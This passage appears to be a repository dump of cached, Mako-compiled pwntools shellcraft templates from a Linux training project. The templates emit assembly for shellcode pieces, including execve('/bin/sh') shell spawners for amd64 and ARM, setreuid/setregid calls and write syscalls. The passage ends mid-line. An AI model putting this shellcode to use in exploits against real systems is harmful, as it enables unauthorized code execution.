| UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.617571 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/echo.asm' 11 | _template_uri = 'amd64/linux/echo.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Writes a string to a file descriptor' 17 | def render_body(context,string,sock='rbp',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,sock=sock,string=string) 21 | len = context.get('len', UNDEFINED) 22 | __M_writer = context.writer() 23 | from pwnlib.shellcraft import amd64 24 | 25 | __M_locals_builtin_stored = __M_locals_builtin() 26 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['amd64'] if __M_key in __M_locals_builtin_stored])) 27 | __M_writer(u'\n') 28 | from pwnlib.constants.linux.amd64 import SYS_write 29 | 30 | __M_locals_builtin_stored = __M_locals_builtin() 31 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['SYS_write'] if __M_key in __M_locals_builtin_stored])) 32 | __M_writer(u'\n') 33 | __M_writer(u'\n') 34 | __M_writer(u'\n\n') 35 | __M_writer(unicode(amd64.pushstr(string, append_null = False))) 36 | __M_writer(u'\n') 37 | __M_writer(unicode(amd64.linux.syscall('SYS_write', sock, 'rsp', len(string)))) 38 | __M_writer(u'\n') 39 | return '' 40 | finally: 41 | context.caller_stack._pop_frame() 42 | 43 | 44 | """ 45 | __M_BEGIN_METADATA 46 | {"source_encoding": "ascii", "line_map": {"32": 2, "33": 3, "34": 4, "35": 6, "36": 6, "37": 7, "38": 7, "44": 38, "16": 4, "17": 3, "23": 1, "27": 1, "28": 2}, "uri": "amd64/linux/echo.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/echo.asm"} 47 | __M_END_METADATA 48 | """ 49 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/echo.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/echo.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/setregid.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.620385 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/setregid.asm' 11 | _template_uri = 'amd64/linux/setregid.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [gid (imm/reg) = egid]\n Sets the real and effective group id.\n' 17 | def render_body(context,gid='egid',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,gid=gid) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import amd64 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['amd64'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n') 29 | if gid == 'egid': 30 | __M_writer(u' /* getegid */\n ') 31 | __M_writer(unicode(amd64.linux.syscall('SYS_getegid'))) 32 | __M_writer(u'\n ') 33 | __M_writer(unicode(amd64.mov('rdi', 'rax'))) 34 | __M_writer(u'\n') 35 | else: 36 | __M_writer(u' ') 37 | __M_writer(unicode(amd64.mov('rdi', gid))) 38 | __M_writer(u'\n') 39 | __M_writer(u'\n ') 40 | __M_writer(unicode(amd64.linux.syscall('SYS_setregid', 'rdi', 'rdi'))) 41 | __M_writer(u'\n') 42 | return '' 43 | finally: 44 | context.caller_stack._pop_frame() 45 | 46 | 47 | """ 48 | __M_BEGIN_METADATA 49 | {"source_encoding": "ascii", "line_map": {"32": 10, "33": 11, "34": 11, "35": 12, "36": 13, "37": 13, "38": 13, "39": 15, "40": 16, "41": 16, "47": 41, "16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 6, "29": 8, "30": 9, "31": 10}, "uri": "amd64/linux/setregid.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/setregid.asm"} 50 | __M_END_METADATA 51 | """ 52 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/setregid.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/setregid.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/setreuid.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.623191 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/setreuid.asm' 11 | _template_uri = 'amd64/linux/setreuid.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [uid (imm/reg) = euid]\n Sets the real and effective user id.\n' 17 | def render_body(context,uid='euid',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,uid=uid) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import amd64 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['amd64'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n') 29 | if uid == 'euid': 30 | __M_writer(u' /* geteuid */\n ') 31 | __M_writer(unicode(amd64.linux.syscall('SYS_geteuid'))) 32 | __M_writer(u'\n ') 33 | __M_writer(unicode(amd64.mov('rdi', 'rax'))) 34 | __M_writer(u'\n') 35 | else: 36 | __M_writer(u' ') 37 | __M_writer(unicode(amd64.mov('rdi', uid))) 38 | __M_writer(u'\n') 39 | __M_writer(u'\n ') 40 | __M_writer(unicode(amd64.linux.syscall('SYS_setreuid', 'rdi', 'rdi'))) 41 | __M_writer(u'\n') 42 | return '' 43 | finally: 44 | context.caller_stack._pop_frame() 45 | 46 | 47 | """ 48 | __M_BEGIN_METADATA 49 | {"source_encoding": "ascii", "line_map": {"32": 10, "33": 11, "34": 11, "35": 12, "36": 13, "37": 13, "38": 13, "39": 15, "40": 16, "41": 16, "47": 41, "16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 6, "29": 8, "30": 9, "31": 10}, "uri": "amd64/linux/setreuid.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/setreuid.asm"} 50 | __M_END_METADATA 51 | """ 52 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/setreuid.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/setreuid.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/sh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.625409 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/sh.asm' 11 | _template_uri = 'amd64/linux/sh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Execute /bin/sh' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import amd64 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['amd64'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n\n') 28 | __M_writer(unicode(amd64.pushstr("/bin///sh"))) 29 | __M_writer(u'\n\n') 30 | __M_writer(unicode(amd64.syscall('SYS_execve', 'rsp', 0, 0))) 31 | __M_writer(u'\n') 32 | return '' 33 | finally: 34 | context.caller_stack._pop_frame() 35 | 36 | 37 | """ 38 | __M_BEGIN_METADATA 39 | {"source_encoding": "ascii", "line_map": {"37": 31, "16": 2, "17": 0, "22": 1, "26": 1, "27": 2, "28": 4, "29": 4, "30": 6, "31": 6}, "uri": "amd64/linux/sh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/sh.asm"} 40 | __M_END_METADATA 41 | """ 42 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/sh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/sh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/syscall.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/syscall.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/mov.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/mov.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/nop.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.596175 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/nop.asm' 11 | _template_uri = 'amd64/nop.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A single-byte nop instruction.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n nop\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "amd64/nop.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/nop.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/nop.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/nop.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/push.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/push.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/pushstr.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/pushstr.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/ret.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.608422 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/ret.asm' 11 | _template_uri = 'amd64/ret.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A single-byte RET instruction.\n\nArgs:\n return_value: Value to return\n' 17 | def render_body(context,return_value=None,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,return_value=return_value) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import amd64 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['amd64'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n') 29 | if return_value != None: 30 | __M_writer(u' ') 31 | __M_writer(unicode(amd64.mov('rax', return_value))) 32 | __M_writer(u'\n') 33 | __M_writer(u'\n ret\n') 34 | return '' 35 | finally: 36 | context.caller_stack._pop_frame() 37 | 38 | 39 | """ 40 | __M_BEGIN_METADATA 41 | {"source_encoding": "ascii", "line_map": {"32": 10, "33": 12, "39": 33, "16": 2, "17": 7, "22": 1, "26": 1, "27": 6, "28": 7, "29": 9, "30": 10, "31": 10}, "uri": "amd64/ret.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/ret.asm"} 42 | __M_END_METADATA 43 | """ 44 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/ret.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/ret.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/trap.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.609974 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/trap.asm' 11 | _template_uri = 'amd64/trap.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A trap instruction.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n int3') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "amd64/trap.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/trap.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/trap.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/trap.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/infloop.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.633956 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/infloop.asm' 11 | _template_uri = 'arm/infloop.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'An infinite loop.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | infloop = common.label("infloop") 29 | 30 | __M_locals_builtin_stored = __M_locals_builtin() 31 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['infloop'] if __M_key in __M_locals_builtin_stored])) 32 | __M_writer(u'\n') 33 | __M_writer(unicode(infloop)) 34 | __M_writer(u':\n b ') 35 | __M_writer(unicode(infloop)) 36 | __M_writer(u'\n') 37 | return '' 38 | finally: 39 | context.caller_stack._pop_frame() 40 | 41 | 42 | """ 43 | __M_BEGIN_METADATA 44 | {"source_encoding": "ascii", "line_map": {"32": 3, "33": 4, "34": 4, "35": 5, "36": 5, "42": 36, "16": 2, "17": 0, "22": 1, "26": 1, "27": 2, "28": 3}, "uri": "arm/infloop.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/infloop.asm"} 45 | __M_END_METADATA 46 | """ 47 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/infloop.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/arm/infloop.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/linux/egghunter.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/arm/linux/egghunter.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/linux/open_file.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/arm/linux/open_file.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/linux/sh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.653394 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/linux/sh.asm' 11 | _template_uri = 'arm/linux/sh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Execute /bin/sh' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n\n adr r0, bin_sh\n mov r2, #0\n push {r0, r2}\n mov r1, sp\n svc SYS_execve\n bin_sh: .asciz "/bin/sh"\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "arm/linux/sh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/linux/sh.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/linux/sh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/arm/linux/sh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/mov.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/arm/mov.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/nop.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.639849 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/nop.asm' 11 | _template_uri = 'arm/nop.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A nop instruction.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n orr r1, r1, r1\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "arm/nop.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/nop.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/nop.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/arm/nop.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/ret.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.641544 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/ret.asm' 11 | _template_uri = 'arm/ret.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u"A single-byte RET instruction.\n\nArgs:\n return_value: Value to return\n\nExamples:\n >>> with context.local(arch='arm'):\n ... print enhex(asm(shellcraft.ret()))\n ... print enhex(asm(shellcraft.ret(0)))\n ... print enhex(asm(shellcraft.ret(0xdeadbeef)))\n 1eff2fe1\n 000020e01eff2fe1\n ef0e0be3ad0e4de31eff2fe1\n" 17 | def render_body(context,return_value=None,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,return_value=return_value) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import arm 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['arm'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n') 29 | if return_value != None: 30 | __M_writer(u' ') 31 | __M_writer(unicode(arm.mov('r0', return_value))) 32 | __M_writer(u'\n') 33 | __M_writer(u'\n bx lr\n') 34 | return '' 35 | finally: 36 | context.caller_stack._pop_frame() 37 | 38 | 39 | """ 40 | __M_BEGIN_METADATA 41 | {"source_encoding": "ascii", "line_map": {"32": 19, "33": 21, "39": 33, "16": 2, "17": 16, "22": 1, "26": 1, "27": 15, "28": 16, "29": 18, "30": 19, "31": 19}, "uri": "arm/ret.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/ret.asm"} 42 | __M_END_METADATA 43 | """ 44 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/ret.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/arm/ret.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/to_thumb.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.643089 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/to_thumb.asm' 11 | _template_uri = 'arm/to_thumb.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Go from ARM to THUMB mode.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n .arm\n add r3, pc, #1\n bx r3\n .thumb\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "arm/to_thumb.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/arm/to_thumb.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/arm/to_thumb.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/arm/to_thumb.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/common/label.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1479426012.480522 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/common/label.asm' 11 | _template_uri = 'common/label.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nReturns a new unique label with a given prefix.\n\nArgs:\n prefix (str): The string to prefix the label with\n' 17 | 18 | label_num = 0 19 | 20 | 21 | def render_body(context,prefix='label',**pageargs): 22 | __M_caller = context.caller_stack._push_frame() 23 | try: 24 | __M_locals = __M_dict_builtin(prefix=prefix,pageargs=pageargs) 25 | __M_writer = context.writer() 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n') 29 | 30 | global label_num 31 | label_num += 1 32 | 33 | 34 | __M_locals_builtin_stored = __M_locals_builtin() 35 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['label_num'] if __M_key in 